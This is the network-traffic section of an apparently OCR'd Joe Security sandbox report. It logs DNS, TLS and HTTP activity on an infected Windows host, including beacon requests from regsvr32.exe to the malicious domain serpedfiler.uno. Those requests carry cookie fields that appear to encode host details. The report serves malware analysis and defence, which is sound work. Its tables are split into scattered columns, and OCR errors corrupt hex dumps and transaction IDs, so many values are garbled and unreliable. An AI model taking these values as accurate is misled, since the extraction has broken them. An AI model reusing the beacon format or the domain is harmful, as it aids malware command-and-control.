143.204.3.74
192.168.2.3
192.168.2.3
143.204.3.74
143.204.3.74
143.204.3.74
192.168.2.3
143.204.3.74
143.204.3.74
192.168.2.3
143.204.3.74

Dest IP
192.168.2.3
192.168.2.3
192.168.2.3
192.168.2.3
192.168.2.3
143.204.3.74
143.204.3.74
192.168.2.3
192.168.2.3
192.168.2.3
143.204.3.74
192.168.2.3
192.168.2.3
143.204.3.74
143.204.3.74
192.168.2.3
192.168.2.3
143.204.3.74
192.168.2.3
192.168.2.3
143.204.3.74
192.168.2.3
192.168.2.3
143.204.3.74
192.168.2.3
192.168.2.3
192.168.2.3
143.204.3.74
143.204.3.74
192.168.2.3
192.168.2.3
143.204.3.74
192.168.2.3
192.168.2.3
143.204.3.74
192.168.2.3
192.168.2.3
143.204.3.74
192.168.2.3
192.168.2.3
143.204.3.74
192.168.2.3
192.168.2.3
143.204.3.74
192.168.2.3
192.168.2.3
143.204.3.74
192.168.2.3
192.168.2.3
143.204.3.74
192.168.2.3
192.168.2.3
143.204.3.74
192.168.2.3
143.204.3.74
143.204.3.74
192.168.2.3
192.168.2.3
192.168.2.3
143.204.3.74
192.168.2.3
192.168.2.3
143.204.3.74
192.168.2.3
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Timestamp

Mar 10, 2021 05:52:58.587804079 CET
Mar 10, 2021 05:52:58.587863922 CET
Mar 10, 2021 05:52:58.588720083 CET

UDP Packets

Timestamp

Mar 10, 2021 05:52:50.637146950 CET
Mar 10, 2021 05:52:50.683173895 CET
Mar 10, 2021 05:52:57.807809114 CET
Mar 10, 2021 05:52:57.876993895 CET
Mar 10, 2021 05:52:58.223509073 CET
Mar 10, 2021 05:52:58.287034035 CET
Mar 10, 2021 05:52:58.880776882 CET
Mar 10, 2021 05:52:58.936311960 CET
Mar 10, 2021 05:52:59.132489920 CET
Mar 10, 2021 05:52:59.192024946 CET
Mar 10, 2021 05:52:59.529923916 CET
Mar 10, 2021 05:52:59.594491959 CET
Mar 10, 2021 05:52:59.884274960 CET
Mar 10, 2021 05:52:59.943152905 CET
Mar 10, 2021 05:53:00.153767109 CET
Mar 10, 2021 05:53:00.201225042 CET
Mar 10, 2021 05:53:00.623059034 CET
Mar 10, 2021 05:53:00.650867939 CET
Mar 10, 2021 05:53:00.677820921 CET
Mar 10, 2021 05:53:00.707385063 CET
Mar 10, 2021 05:53:02.285008907 CET
Mar 10, 2021 05:53:02.350725889 CET
Mar 10, 2021 05:53:02.598175049 CET
Mar 10, 2021 05:53:02.649348021 CET
Mar 10, 2021 05:53:02.702255011 CET
Mar 10, 2021 05:53:02.766961098 CET
Mar 10, 2021 05:53:03.746632099 CET
Mar 10, 2021 05:53:03.811559916 CET
Mar 10, 2021 05:53:05.385886908 CET
Mar 10, 2021 05:53:05.441488028 CET
Mar 10, 2021 05:53:05.534207106 CET
Mar 10, 2021 05:53:05.583246946 CET
Mar 10, 2021 05:53:06.377806902 CET
Mar 10, 2021 05:53:06.392647982 CET
Mar 10, 2021 05:53:06.409583092 CET
Mar 10, 2021 05:53:06.429266930 CET
Mar 10, 2021 05:53:06.441704035 CET
Mar 10, 2021 05:53:06.465691090 CET
Mar 10, 2021 05:53:18.529005051 CET
Mar 10, 2021 05:53:18.575223923 CET
Mar 10, 2021 05:53:23.572798014 CET
Mar 10, 2021 05:53:23.622016907 CET
Mar 10, 2021 05:53:28.870452881 CET
Mar 10, 2021 05:53:28.919286966 CET
Mar 10, 2021 05:53:29.745258093 CET
Mar 10, 2021 05:53:29.791328907 CET
Mar 10, 2021 05:53:29.881587982 CET
Mar 10, 2021 05:53:29.927623987 CET
Mar 10, 2021 05:53:30.101259947 CET
Mar 10, 2021 05:53:30.160171032 CET
Mar 10, 2021 05:53:30.743840933 CET
Mar 10, 2021 05:53:30.791780949 CET
Mar 10, 2021 05:53:30.898977995 CET
Mar 10, 2021 05:53:30.944880962 CET
Mar 10, 2021 05:53:31.749907017 CET
Mar 10, 2021 05:53:31.796066046 CET
Mar 10, 2021 05:53:32.905349016 CET

Copyright Joe Security LLC 2021

Source Port
443

49701

443

Source Port
60985
53
50200
53
51281
53
49199
53
50620
53
64938
53
60152
53
57544
53
55984
64185
53

53
65110
53
58361
53
63492
53
60831
53
60100
53
53195
53
50141
53023
49563
53

53

53
51352
53
59349
53
57084
53
58823
53
57084
53
57568
53
58823
53
57084
53
58823
53
57084

Dest Port
49701
443
49701

Dest Port
53
60985
53
50200
53
51281
53
49199
53
50620
53
64938
53
60152
53
57544
53

53
55984
64185
53
65110
53
58361
53
63492
53
60831
53
60100
53
53195
53

53

53
50141
53023
49563
53
51352
53
59349
53
57084
53
58823
53
57084
53
57568
53
58823
53
57084
53
58823
53

Source IP
143.204.3.74
192.168.2.3
143.204.3.74

Source IP
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
192.168.2.3
8.8.8.8
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
192.168.2.3
192.168.2.3
8.8.8.8
8.8.8.8
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3

Dest IP
192.168.2.3
143.204.3.74
192.168.2.3

Dest IP
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
8.8.8.8
192.168.2.3
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
8.8.8.8
8.8.8.8
192.168.2.3
192.168.2.3
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
192.168.2.3
8.8.8.8
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Timestamp Source Port Dest Port Source IP Dest IP

Mar 10, 2021 05:53:32.951482058 CET 53 57084 8.8.8.8 192.168.2.3

Mar 10, 2021 05:53:33.764457941 CET 58823 53 192.168.2.3 8.8.8.8

Mar 10, 2021 05:53:33.811342001 CET 53 58823 8.8.8.8 192.168.2.3

Mar 10, 2021 05:53:36.912724018 CET 57084 53 192.168.2.3 8.8.8.8

Mar 10, 2021 05:53:36.958611965 CET 53 57084 8.8.8.8 192.168.2.3

Mar 10, 2021 05:53:37.772238970 CET 58823 53 192.168.2.3 8.8.8.8

Mar 10, 2021 05:53:37.821034908 CET 53 58823 8.8.8.8 192.168.2.3

Mar 10, 2021 05:53:45.136689901 CET 50540 53 192.168.2.3 8.8.8.8

Mar 10, 2021 05:53:45.199086905 CET 53 50540 8.8.8.8 192.168.2.3

Mar 10, 2021 05:53:50.304673910 CET 54366 53 192.168.2.3 8.8.8.8

Mar 10, 2021 05:53:50.353991032 CET 53 54366 8.8.8.8 192.168.2.3

Mar 10, 2021 05:53:51.821538925 CET 53034 53 192.168.2.3 8.8.8.8

Mar 10, 2021 05:53:51.870867014 CET 53 53034 8.8.8.8 192.168.2.3

Mar 10, 2021 05:53:59.710988045 CET 57762 53 192.168.2.3 8.8.8.8

Mar 10, 2021 05:53:59.756943941 CET 53 57762 8.8.8.8 192.168.2.3

Mar 10, 2021 05:54:04.368560076 CET 55435 53 192.168.2.3 8.8.8.8

Mar 10, 2021 05:54:04.426300049 CET 53 55435 8.8.8.8 192.168.2.3

Mar 10, 2021 05:54:22.299007893 CET 50713 53 192.168.2.3 8.8.8.8

Mar 10, 2021 05:54:22.356177092 CET 53 50713 8.8.8.8 192.168.2.3

Mar 10, 2021 05:54:34.669815063 CET 56132 53 192.168.2.3 8.8.8.8

Mar 10, 2021 05:54:34.718950987 CET 53 56132 8.8.8.8 192.168.2.3

Mar 10, 2021 05:54:35.874550104 CET 58987 53 192.168.2.3 8.8.8.8

Mar 10, 2021 05:54:35.934252024 CET 53 58987 8.8.8.8 192.168.2.3

Mar 10, 2021 05:54:54.301481962 CET 56579 53 192.168.2.3 8.8.8.8

Mar 10, 2021 05:54:54.359317064 CET 53 56579 8.8.8.8 192.168.2.3

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Mar 10, 2021 05:52:57.807809114 CET 192.168.2.3 8.8.8.8 0x458b Standard query  aws.amazon.com A (IP address) IN (0x0001)
(0)

Mar 10, 2021 05:52:58.223509073 CET 192.168.2.3 8.8.8.8 0x8258 Standard query  aws.amazon.com A (IP address) IN (0x0001)
(0)

Mar 10, 2021 05:52:59.132489920 CET 192.168.2.3 8.8.8.8 0x500c Standard query  serpedfiler.uno A (IP address) IN (0x0001)
(0)

Mar 10, 2021 05:52:59.529923916 CET 192.168.2.3 8.8.8.8 0x57b8 Standard query  serpedfiler.uno A (IP address) IN (0x0001)
(0)

Mar 10, 2021 05:53:00.153767109 CET 192.168.2.3 8.8.8.8 0x7960 Standard query  www.msn.com A (IP address) IN (0x0001)
(0)

Mar 10, 2021 05:53:02.285008907 CET 192.168.2.3 8.8.8.8 Oxe4bl Standard query  web.vortex A (IP address) IN (0x0001)
(0) .data.msn.com

Mar 10, 2021 05:53:02.598175049 CET 192.168.2.3 8.8.8.8 0x8fc8 Standard query  geolocatio A (IP address) IN (0x0001)
(0) n.onetrust.com

Mar 10, 2021 05:53:02.702255011 CET 192.168.2.3 8.8.8.8 0xa512 Standard query  contextual A (IP address) IN (0x0001)
0) .media.net

Mar 10, 2021 05:53:03.746632099 CET 192.168.2.3 8.8.8.8 0x2766 Standard query  Ig3.media.net A (IP address) IN (0x0001)
(0)

Mar 10, 2021 05:53:05.385886908 CET 192.168.2.3 8.8.8.8 0x1679 Standard query  cvision.media.net A (IP address) IN (0x0001)
(0)

Mar 10, 2021 05:53:05.534207106 CET 192.168.2.3 8.8.8.8 0x60d6 Standard query  srtb.msn.com A (IP address) IN (0x0001)
(0)

Mar 10, 2021 05:53:06.377806902 CET 192.168.2.3 8.8.8.8 Oxfe8d Standard query  img.img-ta A (IP address) IN (0x0001)
(0) boola.com

Mar 10, 2021 05:53:06.392647982 CET 192.168.2.3 8.8.8.8 0x9136 Standard query  s.yimg.com A (IP address) IN (0x0001)
(0)

Mar 10, 2021 05:53:06.409583092 CET 192.168.2.3 8.8.8.8 0xcf03 Standard query  sl.adform.net A (IP address) IN (0x0001)
(0)

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Mar 10, 2021 8.8.8.8 192.168.2.3 0x458b No error (0) aws.amazon tp.8e49140c2- CNAME IN (0x0001)

05:52:57.876993895 .com frontier.amazon.com (Canonical

CET name)

Mar 10, 2021 8.8.8.8 192.168.2.3 0x458b No error (0) tp.8e49140c2-  dr49Ing3nln2s.cloudfront. CNAME IN (0x0001)

05:52:57.876993895 frontie net (Canonical

CET r.amazon.com name)

Mar 10, 2021 8.8.8.8 192.168.2.3 0x458b No error (0) dr49Ing3nl 143.204.3.74 A (IP address)  IN (0x0001)

05:52:57.876993895 n2s.cloudf

CET ront.net
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Timestamp Source IP

Mar 10, 2021 8.8.8.8
05:52:58.287034035
CET

Mar 10, 2021 8.8.8.8
05:52:58.287034035
CET

Mar 10, 2021 8.8.8.8
05:52:58.287034035
CET

Mar 10, 2021 8.8.8.8
05:52:59.192024946
CET

Mar 10, 2021 8.8.8.8
05:52:59.594491959
CET

Mar 10, 2021 8.8.8.8
05:53:00.201225042
CET

Mar 10, 2021 8.8.8.8
05:53:02.350725889
CET

Mar 10, 2021 8.8.8.8
05:53:02.649348021
CET

Mar 10, 2021 8.8.8.8
05:53:02.649348021
CET

Mar 10, 2021 8.8.8.8
05:53:02.766961098
CET

Mar 10, 2021 8.8.8.8
05:53:03.811559916
CET

Mar 10, 2021 8.8.8.8
05:53:05.441488028
CET

Mar 10, 2021 8.8.8.8
05:53:05.583246946
CET

Mar 10, 2021 8.8.8.8
05:53:05.583246946
CET

Mar 10, 2021 8.8.8.8
05:53:06.429266930
CET

Mar 10, 2021 8.8.8.8
05:53:06.429266930
CET

Mar 10, 2021 8.8.8.8
05:53:06.429266930
CET

Mar 10, 2021 8.8.8.8
05:53:06.429266930
CET

Mar 10, 2021 8.8.8.8
05:53:06.429266930
CET

Mar 10, 2021 8.8.8.8
05:53:06.441704035
CET

Mar 10, 2021 8.8.8.8
05:53:06.441704035
CET

Mar 10, 2021 8.8.8.8
05:53:06.441704035
CET

Mar 10, 2021 8.8.8.8
05:53:06.465691090
CET

Dest IP
192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

HTTP Request Dependency Graph

o serpedfiler.uno

Copyright Joe Security LLC 2021

Trans ID

0x8258

0x8258

0x8258

0x500c

0x57b8

0x7960

Oxedbl

0x8fc8

0x8fc8

0xa512

0x2766

0x1679

0x60d6

0x60d6

Oxfe8d

Oxfe8d

Oxfe8d

Oxfe8d

Oxfe8d

0x9136

0x9136

0x9136

0xcf03

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name CName Address

aws.amazon tp.8e49140c2-
.com frontier.amazon.com

tp.8e49140c2-  dr49Ing3nln2s.cloudfront.
frontie net
r.amazon.com

dr49Iing3nl 143.204.3.74
n2s.cloudf

ront.net

serpedfiler.uno 143.198.2.53
serpedfiler.uno 143.198.2.53

www.msn.com  www-msn-com.a-0003.a-
msedge.net

web.vortex web.vortex.data.microsoft
.data.msn.com  .com

geolocatio 104.20.184.68
n.onetrust.com

geolocatio 104.20.185.68
n.onetrust.com

contextual 184.30.24.22
.media.net

Ig3.media.net 184.30.24.22
cvision.me cvision.media.net.edgeke

dia.net y.net

srtb.msn.com www.msn.com

www.msn.com  www-msn-com.a-0003.a-
msedge.net

img.img-ta tls13.taboola.map.fastly.n
boola.com et

tls13.tabo 151.101.1.44
ola.map.fa
stly.net

tls13.tabo 151.101.65.44
ola.map.fa

stly.net

tls13.tabo 151.101.129.44
ola.map.fa

stly.net

tls13.tabo 151.101.193.44
ola.map.fa

stly.net

s.yimg.com edge.gycpi.b.yahoodns.n
et

edge.gycpi 87.248.118.22
.b.yahoodns.net

edge.gycpi 87.248.118.23
.b.yahoodns.net

sl.adform.net sl1-
eu.adformnet.akadns.net

Type
CNAME
(Canonical
name)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

CNAME
(Canonical
name)

CNAME
(Canonical
name)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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HTTP Packets

Session ID Source IP
0 192.168.2.3

kBytes
Timestamp transferred
Mar 10, 2021 1353

05:52:59.320067883 CET

Mar 10, 2021 1382
05:52:59.855870962 CET

Session ID Source IP
1 192.168.2.3

kBytes
Timestamp transferred
Mar 10, 2021 1381

05:52:59.723186016 CET

Mar 10, 2021 1404
05:53:00.276644945 CET

HTTPS Packets

Source
Timestamp Source IP Port

Copyright Joe Security LLC 2021

Source Port

49703

Direction

ouT

Source Port

49704

Direction

ouT

Dest
Dest IP Port

Destination IP Destination Port Process

143.198.2.53 80 C:\Windows\System32\regsvr32.exe

Data

GET /HTTP/1.1

Connection: Keep-Alive

Cookie: __gads=3546066851:1:3774:119; _gat=10.0.17134.64; _ga=1.329303.0.5; _u=393635353433:686172647A;
__i0=0; _gid=67AFED4C8997

Host: serpedfiler.uno

HTTP/1.1 404 Not Found

Server: nginx

Date: Wed, 10 Mar 2021 04:52:59 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Data Raw: 31 30 64 0d 0a 09 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46
2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 09 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 09 3c 74 69 74
6¢ 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0a 09 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa
09 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 09 3¢ 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52
4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 09 3c 68 72
3e 0a 09 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 73 65 72 70 65 64 66 69 6C 65
72 2e 75 6e 6f 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 09 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d
0a 30 0d Oa 0d Oa

Data Ascii: 10d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htm|><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache
Server at serpedfiler.uno Port 80</address></body></htmI|>0

Destination IP Destination Port Process

143.198.2.53 80 C:\Windows\System32\regsvr32.exe

Data

GET /HTTP/1.1

Connection: Keep-Alive

Cookie: __gads=3546066851:1:3774:119; _gat=10.0.17134.64; _ga=1.329303.0.5; _u=393635353433:686172647A;
__i0=0; _gid=67AFED4C8997

Host: serpedfiler.uno

HTTP/1.1 404 Not Found

Server: nginx

Date: Wed, 10 Mar 2021 04:53:00 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Data Raw: 31 30 64 0d 0a 09 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46
2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 09 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 09 3c 74 69 74
6¢ 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0a 09 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa
09 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 09 3¢ 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52
4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 09 3c 68 72
3e 0a 09 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 73 65 72 70 65 64 66 69 6C 65
72 2e 75 6e 6f 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 09 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d
0a 30 0d Oa 0d Oa

Data Ascii: 10d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache
Server at serpedfiler.uno Port 80</address></body></htmI|>0

Not Not JA3 SSL Client
Subject Issuer Before After Fingerprint JA3 SSL Client Digest
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Source

Timestamp Source IP Port

Mar 10, 2021
05:52:57.992185116
CET

143.204.3.74 443

Mar 10, 2021
05:52:58.391237020
CET

143.204.3.74 443

Mar 10, 2021
05:53:02.771892071
CET

104.20.184.68 443

Copyright Joe Security LLC 2021

Dest

Dest IP Port

192.168.2.3 49701

192.168.2.3 49702

192.168.2.3 49717

Subject

CN=aws.amazon.com
CN=Amazon, OU=Server
CA 1B, O=Amazon, C=US
CN=Amazon Root CA 1,
O=Amazon, C=US
CN=Starfield Services Root
Certificate Authority - G2,
O="Starfield Technologies,
Inc.", L=Scottsdale,
ST=Arizona, C=US

CN=Amazon, OU=Server
CA 1B, O=Amazon, C=US

CN=Amazon Root CA 1,
O=Amazon, C=US

CN=Starfield Services Root
Certificate Authority - G2,
O="Starfield Technologies,
Inc.", L=Scottsdale,
ST=Arizona, C=US

CN=aws.amazon.com
CN=Amazon, OU=Server
CA 1B, O=Amazon, C=US
CN=Amazon Root CA 1,
O=Amazon, C=US
CN=Starfield Services Root
Certificate Authority - G2,
O="Starfield Technologies,
Inc.", L=Scottsdale,
ST=Arizona, C=US

CN=Amazon, OU=Server
CA 1B, O=Amazon, C=US

CN=Amazon Root CA 1,
O=Amazon, C=US

CN=Starfield Services Root
Certificate Authority - G2,
O="Starfield Technologies,
Inc.", L=Scottsdale,
ST=Arizona, C=US

CN=onetrust.com,
O="Cloudflare, Inc.", L=San
Francisco, ST=California,
C=US CN=Cloudflare Inc
ECC CA-3, O="Cloudflare,
Inc.", C=US

Issuer

CN=Amazon,
OU=Server CA 1B,
O=Amazon, C=US
CN=Amazon Root CA 1,
O=Amazon, C=US
CN=Starfield Services
Root Certificate
Authority - G2,
O="Starfield
Technologies, Inc.",
L=Scottsdale,
ST=Arizona, C=US
OuU=Starfield Class 2
Certification Authority,
O="Starfield
Technologies, Inc.",
C=USs

CN=Amazon Root CA 1,
O=Amazon, C=US

CN=Starfield Services
Root Certificate
Authority - G2,
O="Starfield
Technologies, Inc.",
L=Scottsdale,
ST=Arizona, C=US

OuU=starfield Class 2
Certification Authority,
O="Starfield
Technologies, Inc.",
C=USs

CN=Amazon,
OU=Server CA 1B,
O=Amazon, C=US
CN=Amazon Root CA 1,
O=Amazon, C=US
CN=Starfield Services
Root Certificate
Authority - G2,
O="Starfield
Technologies, Inc.",
L=Scottsdale,
ST=Arizona, C=US
OU=starfield Class 2
Certification Authority,
O="Starfield
Technologies, Inc.",
C=USs

CN=Amazon Root CA 1,
O=Amazon, C=US

CN=Starfield Services
Root Certificate
Authority - G2,
O="Starfield
Technologies, Inc.",
L=Scottsdale,
ST=Arizona, C=US

OuU=starfield Class 2
Certification Authority,
O="Starfield
Technologies, Inc.",
C=USs

CN=Cloudflare Inc ECC
CA-3, O="Cloudflare,
Inc.", C=US
CN=Baltimore
CyberTrust Root,
OU=CyberTrust,
O=Baltimore, C=IE

Not
Before

Wed
Sep 30
02:00:00
CEST
2020
Thu Oct
22
02:00:00
CEST
2015
Mon
May 25
14:00:00
CEST
2015
Wed
Sep 02
02:00:00
CEST
2009

Thu Oct
22
02:00:00
CEST
2015

Mon
May 25
14:00:00
CEST
2015

Wed
Sep 02
02:00:00
CEST
2009

Wed
Sep 30
02:00:00
CEST
2020
Thu Oct
22
02:00:00
CEST
2015
Mon
May 25
14:00:00
CEST
2015
Wed
Sep 02
02:00:00
CEST
2009

Thu Oct
22
02:00:00
CEST
2015

Mon
May 25
14:00:00
CEST
2015

Wed
Sep 02
02:00:00
CEST
2009

Fri Feb
12
01:00:00
CET
2021
Mon Jan
27
13:48:08
CET
2020

Not
After

Thu Sep
23
14:00:00
CEST
2021
Sun Oct
19
02:00:00
CEST
2025
Thu Dec
31
02:00:00
CET
2037
Wed
Jun 28
19:39:16
CEST
2034

Sun Oct
19
02:00:00
CEST
2025

Thu Dec
31
02:00:00
CET
2037

Wed

Jun 28
19:39:16
CEST
2034

Thu Sep
23
14:00:00
CEST
2021
Sun Oct
19
02:00:00
CEST
2025
Thu Dec
31
02:00:00
CET
2037
Wed
Jun 28
19:39:16
CEST
2034

Sun Oct
19
02:00:00
CEST
2025

Thu Dec
31
02:00:00
CET
2037

Wed

Jun 28
19:39:16
CEST
2034

JA3 SSL Client
Fingerprint

771,49196-49195-
49200-49199-159-
158-49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-5-10-11-13-
35-23-65281,29-
23-24,0

771,49196-49195-
49200-49199-159-
158-49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-5-10-11-13-
35-23-65281,29-
23-24,0

JA3 SSL Client Digest

ce5f3254611a8c095a3d8
21d44539877

ce5f3254611a8c095a3d8
21d44539877

Sat Feb 771,49196-49195- 9e10692f1b7f78228bh2d4e

12
00:59:59
CET
2022
Wed

Jan 01
00:59:59
CET
2025

49200-49199-
49188-49187-
49192-49191-
49162-49161-
49172-49171-157-
156-61-60-53-47-
10,0-10-11-13-35-
16-23-24-
65281,29-23-24,0

424db3a98c
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Source

Timestamp Source IP Port

Mar 10, 2021
05:53:02.777787924
CET

104.20.184.68 443

Mar 10, 2021
05:53:06.529144049
CET

151.101.1.44 443

Mar 10, 2021
05:53:06.529541969
CET

151.101.1.44 443

Mar 10, 2021
05:53:06.530025959
CET

151.101.1.44 443

Mar 10, 2021 87.248.118.22 443
05:53:06.575345993

CET

Copyright Joe Security LLC 2021

Dest

Dest IP Port

192.168.2.3 49718

192.168.2.3 49728

192.168.2.3 49729

192.168.2.3 49727

192.168.2.3 49730

Subject

CN=Cloudflare Inc ECC CA-
3, O="Cloudflare, Inc.",
C=USs

CN=onetrust.com,
O="Cloudflare, Inc.", L=San
Francisco, ST=California,
C=US CN=Cloudflare Inc
ECC CA-3, O="Cloudflare,
Inc.", C=US

CN=Cloudflare Inc ECC CA-
3, O="Cloudflare, Inc.",
C=USs

CN=*.taboola.com,
O="Taboola, Inc", L=New
York, ST=New York, C=US
CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

CN=*.taboola.com,
O="Taboola, Inc", L=New
York, ST=New York, C=US
CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

CN=*.taboola.com,
O="Taboola, Inc", L=New
York, ST=New York, C=US
CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

CN=DigiCert TLS RSA
SHA256 2020 CAL,
O=DigiCert Inc, C=US

CN=*.yahoo.com, O=Oath
Inc, L=Sunnyvale,
ST=California, C=US
CN=DigiCert SHA2 High
Assurance Server CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

CN=DigiCert SHA2 High
Assurance Server CA,
OU=www.digicert.com,
O=DigiCert Inc, C=US

Not
Issuer Before
CN=Baltimore Mon Jan
CyberTrust Root, 27
OU=CyberTrust, 13:48:08
O=Baltimore, C=IE CET
2020
CN=Cloudflare Inc ECC Fri Feb
CA-3, O="Cloudflare, 12
Inc.", C=US 01:00:00
CN=Baltimore CET
CyberTrust Root, 2021
OU=CyberTrust, Mon Jan
O=Baltimore, C=IE 27
13:48:08
CET
2020
CN=Baltimore Mon Jan
CyberTrust Root, 27
OU=CyberTrust, 13:48:08
O=Baltimore, C=IE CET
2020
CN=DigiCert TLS RSA  Wed
SHA256 2020 CAL, Nov 25
O=DigiCert Inc, C=US  01:00:00
CN=DigiCert Global CET
Root CA, 2020
OU=www.digicert.com, Thu Sep
O=DigiCert Inc, C=US 24
02:00:00
CEST
2020
CN=DigiCert Global Thu Sep
Root CA, 24
OU=www.digicert.com, 02:00:00
O=DigiCert Inc, C=US  CEST
2020
CN=DigiCert TLS RSA  Wed
SHA256 2020 CAL, Nov 25
O=DigiCert Inc, C=US  01:00:00
CN=DigiCert Global CET
Root CA, 2020
OU=www.digicert.com, Thu Sep
O=DigiCert Inc, C=US 24
02:00:00
CEST
2020
CN=DigiCert Global Thu Sep
Root CA, 24
OU=www.digicert.com, 02:00:00
O=DigiCert Inc, C=US  CEST
2020
CN=DigiCert TLS RSA  Wed
SHA256 2020 CAL, Nov 25
O=DigiCert Inc, C=US  01:00:00
CN=DigiCert Global CET
Root CA, 2020
OU=www.digicert.com, Thu Sep
O=DigiCert Inc, C=US 24
02:00:00
CEST
2020
CN=DigiCert Global Thu Sep
Root CA, 24
OU=www.digicert.com, 02:00:00
O=DigiCert Inc, C=US  CEST
2020
CN=DigiCert SHA2 High Sun Feb
